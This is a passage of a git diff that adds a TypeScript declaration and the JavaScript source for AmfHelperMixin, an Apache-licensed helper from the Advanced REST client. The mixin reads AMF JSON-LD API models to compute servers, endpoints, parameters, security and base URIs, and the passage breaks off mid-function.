+   * Normally `_computeQueryParameters()` function would be used to extract parameters from an endpoint.
+   * This is a fallback option to test when an API is OAS.
+   *
+   * @param shape Method or Expects model
+   */
+  _computeUriParameters(shape: Operation|Request): Parameter[]|undefined;
+  /**
+   * Computes a list of responses
+   */
+  _computeResponses(shape: Operation): Response[]|undefined;
+
+  /**
+   * Computes value for `serverVariables` property.
+   *
+   * @param server AMF API model for Server.
+   * @returns Variables if defined.
+   */
+  _computeServerVariables(server: Server): Parameter[]|undefined;
+
+  /**
+   * Computes value for `endpointVariables` property.
+   *
+   * @param endpoint Endpoint model
+   * @param method Optional method to be used to lookup the parameters from
+   * This is used for OAS model which can defined path parameters on a method level.
+   * @returns Parameters if defined.
+   */
+  _computeEndpointVariables(endpoint: Server, method?: Operation): Parameter[]|undefined;
+
+  /**
+   * Computes value for the `payload` property
+   *
+   * @param expects Current value of `expects` property.
+   * @returns Payload model if defined.
+   */
+  _computePayload(expects: Request): Payload[]|undefined;
+
+  /**
+   * Computes value for `returns` property
+   *
+   * @param method AMF `supportedOperation` model
+   */
+  _computeReturns(method: Operation): Response[]|undefined;
+
+  /**
+   * Computes value for `security` property
+   *
+   * @param method AMF `supportedOperation` model
+   */
+  _computeSecurity(method: Operation): SecurityRequirement[]|undefined;
+
+  /**
+   * Computes value for `hasCustomProperties` property.
+   *
+   * @param shape AMF `supportedOperation` model
+   */
+  _computeHasCustomProperties(shape: DomainElement): boolean|null;
+
+  /**
+   * Computes API version from the AMF model.
+   */
+  _computeApiVersion(amf: AmfDocument): string|undefined;
+
+  /**
+   * Computes model's `encodes` property.
+   *
+   * @param model AMF data model
+   * @returns List of encodes
+   */
+  _computeEncodes(model: AmfDocument): Api|undefined;
+
+  /**
+   * Computes list of declarations in the AMF api model.
+   *
+   * @param model AMF json/ld model for an API
+   * @returns List of declarations
+   */
+  _computeDeclares(model: AmfDocument): DomainElement[]|undefined;
+
+  /**
+   * Computes list of references in the AMF api model.
+   *
+   * @param model AMF json/ld model for an API
+   * @returns List of declarations
+   */
+  _computeReferences(model: AmfDocument): DomainElement[]|undefined;
+
+  /**
+   * Computes AMF's `http://schema.org/WebAPI` model
+   *
+   * @param model AMF json/ld model for an API
+   * @returns Web API declaration.
+   */
+  _computeWebApi(model: AmfDocument): WebApi|undefined;
+
+  /**
+   * Computes AMF's `http://schema.org/API` model
+   *
+   * @param model AMF json/ld model for an API
+   * @return The API declaration.
+   */
+  _computeApi(model: AmfDocument): AsyncApi|WebApi;
+
+  /**
+   * Returns whether an AMF node is a WebAPI node
+   * 
+   * @param model  AMF json/ld model for an API
+   */
+  _isWebAPI(model: AmfDocument): boolean;
+
+  /**
+   * Returns whether an AMF node is an AsyncAPI node
+   * 
+   * @param model  AMF json/ld model for an API
+   */
+  _isAsyncAPI(model: AmfDocument): boolean;
+
+  /**
+   * Returns whether an AMF node is an API node
+   * 
+   * @param model  AMF json/ld model for an API
+   */
+  _isAPI(model: AmfDocument): boolean;
+
+  /**
+   * Computes value for `server` property that is later used with other computations.
+   *
+   * @param model AMF model for an API
+   * @returns The server model
+   */
+  _computeServer(model: AmfDocument): Server|undefined;
+
+  /**
+   * Determines whether a partial model is valid for reading servers from
+   * Current valid values:
+   * - Operation
+   * - Endpoint
+   * @param model The partial model to evaluate
+   * @returns Whether the model's type is part of the array of valid node types from which to read servers
+   */
+  _isValidServerPartial(model: any): boolean;
+
+  /**
+   * @returns List of servers for method, if defined, or endpoint, if defined, or root level
+   */
+  _getServers(opts?: ServersQueryOptions): Server[]|undefined;
+
+  /**
+   * Compute values for `server` property based on node an optional selected id.
+   *
+   * @returns The server list or undefined if node has no servers
+   */
+  _getServer(opts?: ServerQueryOptions): Server[]|undefined;
+
+  /**
+   * Computes endpoint's URI based on `amf` and `endpoint` models.
+   *
+   * @param server Server model of AMF API.
+   * @param endpoint Endpoint model
+   * @param baseUri Current value of `baseUri` property
+   * @param version API current version
+   * @returns Endpoint's URI
+   * @deprecated Use `_computeUri()` instead
+   */
+  _computeEndpointUri(server: Server, endpoint: EndPoint, baseUri?: string, version?: string): string|undefined;
+
+  /**
+   * Computes endpoint's URI based on `endpoint` model.
+   *
+   * @param endpoint Model for the endpoint
+   * @param opts Configuration options
+   */
+  _computeUri(endpoint: EndPoint, opts?: ComputeUriOptions): string;
+
+  /**
+   * Appends endpoint's path to the url
+   */
+  _appendPath(url: string, endpoint: EndPoint): string;
+
+  /**
+   * Computes base URI value from either `baseUri`, `iron-meta` with
+   * `ApiBaseUri` key or `amf` value (in this order).
+   *
+   * @param baseUri Value of `baseUri` property
+   * @param server AMF API model for Server.
+   * @param protocols List of supported protocols
+   * @returns Base uri value. Can be empty string.
+   */
+  _getBaseUri(baseUri: string, server: Server, protocols?: string[]): string;
+
+  /**
+   * Computes base URI from AMF model.
+   *
+   * @param server AMF API model for Server.
+   * @param protocols List of supported protocols. If not
+   * provided and required to compute the url it uses `amf` to compute
+   * protocols
+   * @returns Base uri value if exists.
+   */
+  _getAmfBaseUri(server: Server, protocols: string[]): string|undefined;
+
+  /**
+   * A function that makes sure that the URL has a scheme definition.
+   * If no supported protocols information is available it assumes `http`.
+   *
+   * @param value A url value
+   * @param protocols List of supported by the API protocols
+   * An array of string like: `['HTTP', 'HTTPS']`. It lowercase the value.
+   * If not set it tries to read supported protocols value from `amf`
+   * property.
+   * @returns Url with scheme.
+   */
+  _ensureUrlScheme(value: string, protocols: string[]): string|undefined;
+
+  /**
+   * Computes supported protocols by the API.
+   *
+   * @param model AMF data model
+   */
+  _computeProtocols(model: AmfDocument): string[]|undefined;
+
+  /**
+   * Computes value for the `expects` property.
+   *
+   * @param method AMF `supportedOperation` model
+   */
+  _computeExpects(method: Operation): Request|undefined;
+
+  /**
+   * Tries to find an example value (whether it's default value or from an
+   * example) to put it into snippet's values.
+   *
+   * @param item A http://raml.org/vocabularies/http#Parameter property
+   */
+  _computePropertyValue(item: Parameter): string|undefined;
+
+  /**
+   * Computes list of endpoints from a WebApi model.
+   *
+   * @returns Always returns an array of endpoints.
+   */
+  _computeEndpoints(webApi: WebApi): EndPoint[]|undefined;
+
+  /**
+   * Computes model for an endpoint documentation.
+   *
+   * @param webApi Current value of `webApi` property
+   * @param id Selected shape ID
+   * @returns An endpoint definition
+   */
+  _computeEndpointModel(webApi: WebApi, id: string): EndPoint|undefined;
+
+  /**
+   * Computes model for an endpoint documentation using it's path.
+   *
+   * @param webApi Current value of `webApi` property
+   * @param path Endpoint path
+   * @returns An endpoint definition
+   */
+  _computeEndpointByPath(webApi: WebApi, path: string): EndPoint|undefined;
+
+  /**
+   * Computes method for the method documentation.
+   *
+   * @param webApi Current value of `webApi` property
+   * @param selected Selected shape
+   * @returns A method definition
+   */
+  _computeMethodModel(webApi: WebApi, selected: string): Operation|undefined;
+
+  /**
+   * Computes list of operations in an endpoint
+   *
+   * @param webApi The WebApi AMF model
+   * @param id Endpoint ID
+   * @returns List of SupportedOperation objects
+   */
+  _computeOperations(webApi: WebApi, id: string): Operation[]|undefined;
+
+  /**
+   * Computes an endpoint for a method.
+   *
+   * @param webApi The WebApi AMF model
+   * @param methodId Method id
+   * @returns An endpoint model of undefined.
+   */
+  _computeMethodEndpoint(webApi: WebApi, methodId: string): EndPoint|undefined;
+
+  /**
+   * Computes a list of methods for an endpoint that contains a method with
+   * given id.
+   *
+   * @param webApi WebApi model
+   * @param methodId Method id.
+   * @returns A list of sibling methods or undefined.
+   */
+  __computeMethodsListForMethod(webApi: WebApi, methodId: string): Operation[]|undefined;
+
+  /**
+   * Computes a type documentation model.
+   *
+   * @param declares Current value of `declares` property
+   * @param references Current value of `references` property
+   * @param selected Selected shape
+   * @returns A type definition
+   */
+  _computeType(declares: DomainElement[], references: DomainElement[], selected: string): Shape|undefined;
+
+  /**
+   * Finds a type in the model declares and references.
+   * @param domainId The domain id of the type (AMF's shape).
+   * @returns The AMF shape or undefined when not found.
+   */
+  [findAmfType](domainId?: string): Shape|undefined;
+
+  /**
+   * Searches for an object in model's references list.
+   * It does not resolve the object (useful for handling links correctly).
+   * 
+   * @param domainId The domain of the object to find in the references.
+   * @returns The domain object or undefined.
+   */
+  [findReferenceObject](domainId?: string): DomainElement|undefined;
+
+  /**
+   * Computes a type model from a reference (library for example).
+   *
+   * @param reference AMF model for a reference to extract the data from
+   * @param selected Node ID to look for
+   * @returns Type definition or undefined if not found.
+   */
+  _computeReferenceType(reference: DomainElement, selected: string): Shape|undefined;
+
+  /**
+   * Computes model for selected security definition.
+   *
+   * @param declares Current value of `declares` property
+   * @param selected Selected shape
+   * @returns A security definition
+   */
+  _computeSecurityModel(declares: DomainElement[], selected: string): SecurityScheme|undefined;
+
+  /**
+   * Computes a documentation model.
+   *
+   * @param webApi Current value of `webApi` property
+   * @param selected Selected shape
+   * @returns A method definition
+   */
+  _computeDocument(webApi: WebApi, selected: string): DomainElement|undefined;
+
+  /**
+   * Resolves a reference to an external fragment.
+   *
+   * @param shape A shape to resolve
+   * @returns Resolved shape.
+   */
+  _resolve<T>(shape: T): T;
+  _getLinkTarget(amf: AmfDocument, id: string): DomainElement|undefined;
+
+  /**
+   * Resolves the shape of a given reference.
+   *
+   * @param references References object to search in
+   * @param id Id of the shape to resolve
+   * @returns Resolved shape for given reference, undefined otherwise
+   */
+  _obtainShapeFromReferences(references: DomainElement[], id: string): DomainElement|undefined;
+
+  /**
+   * Searches a node with a given ID in an array
+   *
+   * @param array Array to search for a given ID
+   * @param id Id to search for
+   * @returns Node with the given ID when found, undefined otherwise
+   */
+  _findById(array: DomainElement[], id: string): DomainElement|undefined;
+  _getReferenceId(amf: AmfDocument, id: string): DomainElement|undefined;
+  _resolveRecursive<T>(shape: T): T;
+
+  /**
+   * Merge two shapes together. If the resulting shape has one of the "special merge" keys,
+   * then the special merge function for that key will be used to match that property
+   * @param shapeA AMF node
+   * @param shapeB AMF node
+   * @returns Merged AMF node
+   */
+  _mergeShapes(shapeA: any, shapeB: any): any;
+
+  /**
+   * Obtains source map sources value from two shapes and returns the merged result
+   * If neither shape has a sources node, then an empty object will be returned.
+   * Result is wrapped in an array as per AMF model standard
+   * @param AMF node
+   * @param AMF node
+   * @returns Empty object or resulting merge, wrapped in an array
+   */
+  _mergeSourceMapsSources(shapeA: any, shapeB: any): any[];
+
+  /**
+   * Expands the key property from compacted mode to full mode.
+   * @param value The value to process
+   * @returns The expanded value.
+   */
+  [expandKey](value: string): string;
+}
diff --git a/src/helpers/AmfHelperMixin.js b/src/helpers/AmfHelperMixin.js
new file mode 100644
index 0000000..26f6444
--- /dev/null
+++ b/src/helpers/AmfHelperMixin.js
@@ -0,0 +1,1544 @@
+/**
+@license
+Copyright 2018 The Advanced REST client authors <arc@mulesoft.com>
+Licensed under the Apache License, Version 2.0 (the "License"); you may not
+use this file except in compliance with the License. You may obtain a copy of
+the License at
+http://www.apache.org/licenses/LICENSE-2.0
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+License for the specific language governing permissions and limitations under
+the License.
+*/
+// @ts-ignore
+import { AmfModelExpander, JsonLdOptions, JsonLd } from 'amf-json-ld-lib'
+import { ns } from './Namespace.js';
+
+/** @typedef {import('./Namespace').ns} Namespace */
+/** @typedef {import('./amf').DomainElement} DomainElement */
+/** @typedef {import('./amf').AmfDocument} AmfDocument */
+/** @typedef {import('./amf').WebApi} WebApi */
+/** @typedef {import('./amf').AsyncApi} AsyncApi */
+/** @typedef {import('./amf').Server} Server */
+/** @typedef {import('./amf').EndPoint} EndPoint */
+/** @typedef {import('./amf').Operation} Operation */
+/** @typedef {import('./amf').Shape} Shape */
+/** @typedef {import('./amf').Parameter} Parameter */
+/** @typedef {import('./amf').Request} Request */
+/** @typedef {import('./amf').Response} Response */
+/** @typedef {import('./amf').Payload} Payload */
+/** @typedef {import('./amf').SecurityRequirement} SecurityRequirement */
+/** @typedef {import('./amf').SecurityScheme} SecurityScheme */
+/** @typedef {import('./api').ServersQueryOptions} ServersQueryOptions */
+/** @typedef {import('./api').ServerQueryOptions} ServerQueryOptions */
+/** @typedef {import('./api').ComputeUriOptions} ComputeUriOptions */
+
+export const expandKey = Symbol('expandKey');
+export const findAmfType = Symbol('findAmfType');
+export const findReferenceObject = Symbol('findReferenceObject');
+export const getArrayItems = Symbol('getArrayItems');
+
+/* eslint-disable class-methods-use-this */
+/* eslint-disable no-plusplus */
+/* eslint-disable no-continue */
+
+/**
+ * Common functions used by AMF components to compute AMF values.
+ *
+ * ## Updating API's base URI
+ *
+ * (Only applies when using `_computeUri()` function)
+ *
+ * By default the component render the documentation as it is defined
+ * in the AMF model. Sometimes, however, you may need to replace the base URI
+ * of the API with something else. It is useful when the API does not
+ * have base URI property defined (therefore this component render relative
+ * paths instead of URIs) or when you want to manage different environments.
+ *
+ * To update base URI value update the `baseUri` property.
+ *
+ * When the component constructs the final URI for the endpoint it does the following:
+ * - if `baseUri` is set it uses this value as a base uri for the endpoint
+ * - else if `amf` is set then it computes base uri value from main
+ * model document
+ * Then it concatenates computed base URI with `endpoint`'s path property.
+ *
+ * @param {*} base
+ * @returns {*}
+ * @mixin
+ */
+export const AmfHelperMixin = (base) => class extends base {
+  static get properties() {
+    return {
+      /**
+       * Generated AMF json/ld model form the API spec.
+       * The element assumes the object of the first array item to be a
+       * type of `"http://raml.org/vocabularies/document#Document`
+       * on AMF vocabulary.
+       *
+       * It is only useful for the element to resolve references.
+       *
+       * @type {Object|Array<Object>}
+       */
+      amf: { type: Object }
+    };
+  }
+
+  /**
+   * A namespace for AMF model.
+   * @returns {Namespace}
+   */
+  get ns() {
+    return ns;
+  }
+
+  get amf() {
+    return this._amf;
+  }
+
+  set amf(value) {
+    const old = this._amf;
+    if (old === value) {
+      return;
+    }
+    let expanded;
+    if (!value || AmfModelExpander.isInExpandedForm(value)) {
+      this._flattenedAmf = undefined;
+      expanded = value;
+    } else {
+      const oldFlattened = this._flattenedAmf;
+      if (oldFlattened === value) {
+        return;
+      }
+      this._flattenedAmf = value;
+      expanded = this._expand(value);
+    }
+    // Cached keys cannot be static as this element can be using in the sane
+    // document with different AMF models
+    this.__cachedKeys = {};
+    this._amf = expanded;
+    this.__amfChanged(expanded);
+    if (this.requestUpdate) {
+      this.requestUpdate('amf', old);
+    }
+  }
+
+  /**
+   * This is an abstract method to be implemented by the components.
+   * If, instead, the component uses `amf` setter you must use `super.amf` to
+   * set the value.
+   * @param {Array|Object} amf Current AMF model. Can be undefined.
+   * @abstract
+   */
+  /* eslint-disable-next-line no-unused-vars */
+  __amfChanged(amf) {}
+
+  /**
+   * Expands flattened AMF model
+   * @param {Object} amf 
+   */
+  _expand(amf) {
+    AmfModelExpander.preprocessLegacyRootNodeId(amf)
+    const linkEmbeddingFilter = key => !key.endsWith("fixPoint")
+    const rootNode = amf['@context'] ? '' : "amf://id";
+    const options = JsonLdOptions.apply()
+      .withEmbeddedLinks(linkEmbeddingFilter)
+      .withCompactedIris()
+      .withExpandedStructure()
+      .withRootNode(rootNode)
+    return JsonLd.process(amf, options)
+  }
+
+  /**
+   * Returns compact model key for given value.
+   * @param {string} property AMF original property
+   * @returns {string} Compact model property name or the same value if
+   * value not found in the context.
+   */
+  _getAmfKey(property) {
+    if (!property) {
+      return undefined;
+    }
+    let {amf} = this;
+    if (!amf) {
+      return property;
+    }
+    if (Array.isArray(amf)) {
+      [amf] = amf;
+    }
+    if (!this.__cachedKeys) {
+      this.__cachedKeys = {};
+    }
+    const ctx = amf['@context'];
+    if (!ctx || !property) {
+      return property;
+    }
+    const cache = this.__cachedKeys;
+    if (property in cache) {
+      return cache[property];
+    }
+    /* eslint-disable-next-line no-param-reassign */
+    property = String(property);
+    const hashIndex = property.indexOf('#');
+    const hashProperty = property.substr(0, hashIndex + 1);
+    const keys = Object.keys(ctx);
+    for (let i = 0, len = keys.length; i < len; i++) {
+      const k = keys[i];
+      if (ctx[k] === property) {
+        cache[property] = k;
+        return k;
+      } if (hashIndex === -1 && property.indexOf(ctx[k]) === 0) {
+        const result = property.replace(ctx[k], `${k  }:`);
+        cache[property] = result;
+        return result;
+      } if (ctx[k] === hashProperty) {
+        const result = `${k  }:${  property.substr(hashIndex + 1)}`;
+        cache[property] = result;
+        return result;
+      }
+    }
+    return property;
+  }
+
+  /**
+   * Ensures that the model is AMF object.
+   *
+   * @param {any} amf AMF json/ld model
+   * @returns {AmfDocument|undefined} API spec
+   */
+  _ensureAmfModel(amf) {
+    if (!amf) {
+      return undefined;
+    }
+    if (Array.isArray(amf)) {
+      /* eslint-disable-next-line no-param-reassign */
+      [amf] = amf;
+    }
+    if (this._hasType(amf, ns.aml.vocabularies.document.Document)) {
+      return amf;
+    }
+    return undefined;
+  }
+
+  /**
+   * Ensures that the value is an array.
+   * It returns undefined when there's no value.
+   * It returns the same array if the value is already an array.
+   * It returns new array of the item is not an array.
+   *
+   * @param {Array|any} value An item to test
+   * @returns {Array|undefined}
+   */
+  _ensureArray(value) {
+    if (!value) {
+      return undefined;
+    }
+    if (value instanceof Array) {
+      return value;
+    }
+    return [value];
+  }
+
+  /**
+   * Gets a single scalar value from a model.
+   * @param {DomainElement} model Amf model to extract the value from.
+   * @param {string} key Model key to search for the value
+   * @returns {string|number|boolean|undefined|null} Value for key
+   */
+  _getValue(model, key) {
+    /* eslint-disable-next-line no-param-reassign */
+    key = this._getAmfKey(key);
+    let data = model && model[key];
+    if (!data) {
+      // This includes "undefined", "false", "null" and "0"
+      return data;
+    }
+    if (Array.isArray(data)) {
+      /* eslint-disable-next-line no-param-reassign */
+      [data] = data;
+    }
+    if (!data) {
+      return undefined;
+    }
+    const type = typeof data;
+    if (['string', 'number', 'boolean', 'undefined'].indexOf(type) !== -1) {
+      return data;
+    }
+    return data['@value'];
+  }
+
+  /**
+   * Gets values from a model as an array of `@value` properties.
+   * @param {DomainElement} model Amf model to extract the value from.
+   * @param {string} key Model key to search for the value
+   * @returns {Array<string|number|boolean|null>|undefined} Value for key
+   */
+  _getValueArray(model, key) {
+    /* eslint-disable-next-line no-param-reassign */
+    key = this._getAmfKey(key);
+    const data = model && this._ensureArray(model[key]);
+    if (!Array.isArray(data)) {
+      return undefined;
+    }
+    return data.map((item) => item['@value'] || item);
+  }
+
+  /**
+   * Reads an array from the model.
+   * 
+   * @param {DomainElement} model Amf model to extract the value from.
+   * @param {string} key Model key to search for the value
+   * @returns {DomainElement[]|undefined} Value for the key
+   */
+  [getArrayItems](model, key) {
+    const k = this._getAmfKey(key);
+    const data = model && this._ensureArray(model[k]);
+    if (!Array.isArray(data)) {
+      return undefined;
+    }
+    return data;
+  }
+
+  /**
+   * Reads the value of the `@id` property.
+   * @param {DomainElement} model Amf model to extract the value from.
+   * @param {string} key Model key to search for the @id
+   * @returns {string|undefined}
+   */
+  _getLinkValue(model, key) {
+    const k = this._getAmfKey(key);
+    let data = model && model[k];
+    if (!data) {
+      return undefined;
+    }
+    if (Array.isArray(data)) {
+      [data] = data;
+    }
+    if (!data) {
+      return undefined;
+    }
+    return data['@id'];
+  }
+
+  /**
+   * Reads the list of value for the `@id` property.
+   * @param {DomainElement} model Amf model to extract the value from.
+   * @param {string} key Model key to search for the @id
+   * @returns {string[]|undefined}
+   */
+  _getLinkValues(model, key) {
+    const k = this._getAmfKey(key);
+    let data = /** @type DomainElement[] */ (model && model[k]);
+    if (!data) {
+      return undefined;
+    }
+    if (!Array.isArray(data)) {
+      data = [data];
+    }
+    return data.map(i => i['@id']);
+  }
+
+  /**
+   * Checks if a model has a type.
+   * @param {DomainElement} model Model to test
+   * @param {string} type Type name
+   * @returns {boolean} True if model has a type.
+   */
+  _hasType(model, type) {
+    const types = this._ensureArray(model && model['@type']);
+    if (!types || !types.length) {
+      return false;
+    }
+    const key = this._getAmfKey(type);
+    for (let i = 0; i < types.length; i++) {
+      if (types[i] === key) {
+        return true;
+      }
+    }
+    return false;
+  }
+
+  /**
+   * Checks if a shape has a property.
+   * @param {DomainElement} shape The shape to test
+   * @param {string} key Property name to test
+   * @returns {boolean}
+   */
+  _hasProperty(shape, key) {
+    /* eslint-disable-next-line no-param-reassign */
+    key = this._getAmfKey(key);
+    return !!(shape && key && key in shape);
+  }
+
+  /**
+   * Computes array value of a property in a model (shape).
+   *
+   * @param {DomainElement} shape AMF shape object
+   * @param {string} key Property name
+   * @returns {Array<string|number|boolean|null|Object>|undefined}
+   */
+  _computePropertyArray(shape, key) {
+    if (!shape) {
+      return undefined;
+    }
+    /* eslint-disable-next-line no-param-reassign */
+    key = this._getAmfKey(key);
+    const data = this._ensureArray(shape && shape[key]);
+    if (!data || !Array.isArray(data)) {
+      return undefined;
+    }
+    return data;
+  }
+
+  /**
+   * Computes a value of a property in a model (shape).
+   * It takes first value of a property, if exists.
+   *
+   * @param {DomainElement} shape AMF shape object
+   * @param {string} key Property name
+   * @returns {string|number|boolean|null|Object|undefined}
+   */
+  _computePropertyObject(shape, key) {
+    /* eslint-disable-next-line no-param-reassign */
+    key = this._getAmfKey(key);
+    const data = this._computePropertyArray(shape, key);
+    return data && data[0];
+  }
+
+  /**
+   * Tests if a passed argument exists.
+   *
+   * @param {string|Object|number} value A value to test
+   * @returns {boolean}
+   */
+  _computeHasStringValue(value) {
+    return !!value || value === 0;
+  }
+
+  /**
+   * Computes if passed argument is an array and has a value.
+   * It does not check for type or value of the array items.
+   * @param {Array} value Value to test
+   * @returns {boolean}
+   */
+  _computeHasArrayValue(value) {
+    return !!(value instanceof Array && value.length);
+  }
+
+  /**
+   * Computes description for a shape.
+   * @param {DomainElement} shape AMF shape
+   * @returns {string} Description value.
+   */
+  _computeDescription(shape) {
+    return /** @type string */ (this._getValue(shape, this.ns.schema.desc));
+  }
+
+  /**
+   * Computes a list of headers
+   * @param {DomainElement} shape
+   * @returns {Parameter[]|Parameter|undefined}
+   */
+  _computeHeaders(shape) {
+    return this._computePropertyArray(shape, this.ns.aml.vocabularies.apiContract.header) || this._computeHeaderSchema(shape);
+  }
+
+  /**
+   * 
+   * @param {DomainElement} shape 
+   * @returns {Parameter|undefined}
+   */
+  _computeHeaderSchema(shape) {
+    return this._computePropertyObject(shape, this.ns.aml.vocabularies.apiContract.headerSchema);
+  }
+
+  /**
+   * Computes a list of query parameters
+   * @param {DomainElement} shape
+   * @returns {Parameter[]|undefined}
+   */
+  _computeQueryParameters(shape) {
+    return this._computePropertyArray(shape, this.ns.aml.vocabularies.apiContract.parameter);
+  }
+
+  /**
+   * In OAS URI parameters can be defined on an operation level under `uriParameter` property.
+   * Normally `_computeQueryParameters()` function would be used to extract parameters from an endpoint.
+   * This is a fallback option to test when an API is OAS.
+   * @param {Operation|Request} shape Method or Expects model
+   * @returns {Parameter[]}
+   */
+  _computeUriParameters(shape) {
+    if (!shape) {
+      return undefined;
+    }
+    const { apiContract } = this.ns.aml.vocabularies;
+    let object = shape;
+    if (this._hasType(object, apiContract.Operation)) {
+      const typed = /** @type Operation */ (object);
+      object = this._computeExpects(typed);
+    }
+    return this._computePropertyArray(object, apiContract.uriParameter);
+  }
+
+  /**
+   * Computes a list of responses
+   * @param {Operation} shape
+   * @returns {Response[]|undefined}
+   */
+  _computeResponses(shape) {
+    return this._computePropertyArray(shape, this.ns.aml.vocabularies.apiContract.response);
+  }
+
+  /**
+   * Computes value for `serverVariables` property.
+   *
+   * @param {Server} server AMF API model for Server.
+   * @returns {Parameter[]|undefined} Variables if defined.
+   */
+  _computeServerVariables(server) {
+    return this._computePropertyArray(server, this.ns.aml.vocabularies.apiContract.variable);
+  }
+
+  /**
+   * Computes value for `endpointVariables` property.
+   *
+   * @param {EndPoint} endpoint Endpoint model
+   * @param {Operation=} method Optional method to be used to lookup the parameters from
+   * This is used for OAS model which can defined path parameters on a method level.
+   * @returns {Parameter[]|undefined} Parameters if defined.
+   */
+  _computeEndpointVariables(endpoint, method) {
+    let result = this._computeQueryParameters(endpoint);
+    if (!result && method) {
+      result = this._computeUriParameters(method);
+    }
+    return result;
+  }
+
+  /**
+   * Computes value for the `payload` property
+   *
+   * @param {Request} expects Current value of `expects` property.
+   * @returns {Payload[]|undefined} Payload model if defined.
+   */
+  _computePayload(expects) {
+    return this._computePropertyArray(expects, this.ns.aml.vocabularies.apiContract.payload);
+  }
+
+  /**
+   * Computes value for `returns` property
+   *
+   * @param {Operation} method AMF `supportedOperation` model
+   * @returns {Response[]|undefined}
+   */
+  _computeReturns(method) {
+    return this._computePropertyArray(method, this.ns.aml.vocabularies.apiContract.returns);
+  }
+
+  /**
+   * Computes value for `security` property
+   *
+   * @param {Operation} method AMF `supportedOperation` model
+   * @returns {SecurityRequirement[]|undefined}
+   */
+  _computeSecurity(method) {
+    return this._computePropertyArray(method, this.ns.aml.vocabularies.security.security);
+  }
+
+  /**
+   * Computes value for `hasCustomProperties` property.
+   *
+   * @param {DomainElement} shape AMF `supportedOperation` model
+   * @returns {boolean}
+   */
+  _computeHasCustomProperties(shape) {
+    return this._hasProperty(shape, this.ns.aml.vocabularies.document.customDomainProperties);
+  }
+
+  /**
+   * Computes API version from the AMF model.
+   *
+   * @param {AmfDocument} amf
+   * @returns {string}
+   */
+  _computeApiVersion(amf) {
+    const api = this._computeApi(amf);
+    if (!api) {
+      return undefined;
+    }
+    return /** @type string */ (this._getValue(api, this.ns.aml.vocabularies.core.version));
+  }
+
+  /**
+   * Computes model's `encodes` property.
+   *
+   * @param {AmfDocument} model AMF data model
+   * @returns {DomainElement|undefined} List of encodes
+   */
+  _computeEncodes(model) {
+    if (!model) {
+      return undefined;
+    }
+    if (Array.isArray(model)) {
+      /* eslint-disable-next-line no-param-reassign */
+      [model] = model;
+    }
+    const key = this._getAmfKey(this.ns.aml.vocabularies.document.encodes);
+    const data = model[key];
+    if (data) {
+      return Array.isArray(data) ? data[0] : data;
+    }
+    return undefined;
+  }
+
+  /**
+   * Computes list of declarations in the AMF api model.
+   *
+   * @param {AmfDocument} model AMF json/ld model for an API
+   * @returns {DomainElement[]|undefined} List of declarations
+   */
+  _computeDeclares(model) {
+    if (!model) {
+      return undefined;
+    }
+    if (Array.isArray(model)) {
+      /* eslint-disable-next-line no-param-reassign */
+      [model] = model;
+    }
+    if (!model) {
+      return undefined;
+    }
+    const key = this._getAmfKey(this.ns.aml.vocabularies.document.declares);
+    const data = this._ensureArray(model[key]);
+    return Array.isArray(data) ? data : undefined;
+  }
+
+  /**
+   * Computes list of references in the AMF api model.
+   *
+   * @param {AmfDocument} model AMF json/ld model for an API
+   * @returns {DomainElement[]|undefined} List of declarations
+   */
+  _computeReferences(model) {
+    if (!model) {
+      return undefined;
+    }
+    if (Array.isArray(model)) {
+      /* eslint-disable-next-line no-param-reassign */
+      [model] = model;
+    }
+    if (!model) {
+      return undefined;
+    }
+    const key = this._getAmfKey(this.ns.aml.vocabularies.document.references);
+    const data = this._ensureArray(model[key]);
+    return data instanceof Array ? data : undefined;
+  }
+
+  /**
+   * Computes AMF's `http://schema.org/WebAPI` model
+   *
+   * @param {AmfDocument} model AMF json/ld model for an API
+   * @returns {WebApi|undefined} Web API declaration.
+   */
+  _computeWebApi(model) {
+    const enc = this._computeEncodes(model);
+    if (!enc) {
+      return undefined;
+    }
+    if (this._hasType(enc, this.ns.schema.webApi)) {
+      return enc;
+    }
+    return undefined;
+  }
+
+  /**
+   * Computes AMF's `http://schema.org/API` model
+   *
+   * @param {AmfDocument} model AMF json/ld model for an API
+   * @returns {AsyncApi|WebApi} API declaration.
+   */
+  _computeApi(model) {
+    const enc = this._computeEncodes(model);
+    if (!enc) {
+      return undefined;
+    }
+    if (this._isAPI(model) || this._isWebAPI(model) || this._isAsyncAPI(model)) {
+      return enc;
+    }
+    return undefined;
+  }
+
+  /**
+   * Returns whether an AMF node is a WebAPI node
+   * 
+   * @param {AmfDocument} model  AMF json/ld model for an API
+   * @returns {boolean}
+   */
+  _isWebAPI(model) {
+    const enc = this._computeEncodes(model);
+    if (!enc) {
+      return false;
+    }
+    return this._hasType(enc, this.ns.aml.vocabularies.apiContract.WebAPI);
+  }
+
+  /**
+   * Returns whether an AMF node is an AsyncAPI node
+   * 
+   * @param {AmfDocument} model  AMF json/ld model for an API
+   * @returns {boolean}
+   */
+  _isAsyncAPI(model) {
+    const enc = this._computeEncodes(model);
+    if (!enc) {
+      return false;
+    }
+    return this._hasType(enc, this.ns.aml.vocabularies.apiContract.AsyncAPI);
+  }
+
+  /**
+   * Returns whether an AMF node is an API node
+   * 
+   * @param {AmfDocument} model  AMF json/ld model for an API
+   * @returns {boolean}
+   */
+  _isAPI(model) {
+    const enc = this._computeEncodes(model);
+    if (!enc) {
+      return false;
+    }
+    return this._hasType(enc, this.ns.aml.vocabularies.apiContract.API);
+  }
+
+  /**
+   * Computes value for `server` property that is later used with other computations.
+   *
+   * @param {AmfDocument} model AMF model for an API
+   * @returns {Server|undefined} The server model
+   */
+  _computeServer(model) {
+    const api = this._computeApi(model);
+    if (!api) {
+      return undefined;
+    }
+    const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.server);
+    const srv = this._ensureArray(api[key]);
+    return srv ? srv[0] : undefined;
+  }
+
+  /**
+   * Determines whether a partial model is valid for reading servers from
+   * Current valid values:
+   * - Operation
+   * - Endpoint
+   * @param {Object} model The partial model to evaluate
+   * @returns {boolean} Whether the model's type is part of the array of valid node types from which
+   * to read servers
+   * @private
+   */
+  _isValidServerPartial(model) {
+    if (Array.isArray(model)) {
+      /* eslint-disable-next-line no-param-reassign */
+      [model] = model;
+    }
+    if (!model) {
+      return false;
+    }
+    const oKey = this.ns.aml.vocabularies.apiContract.Operation;
+    const eKey = this.ns.aml.vocabularies.apiContract.EndPoint;
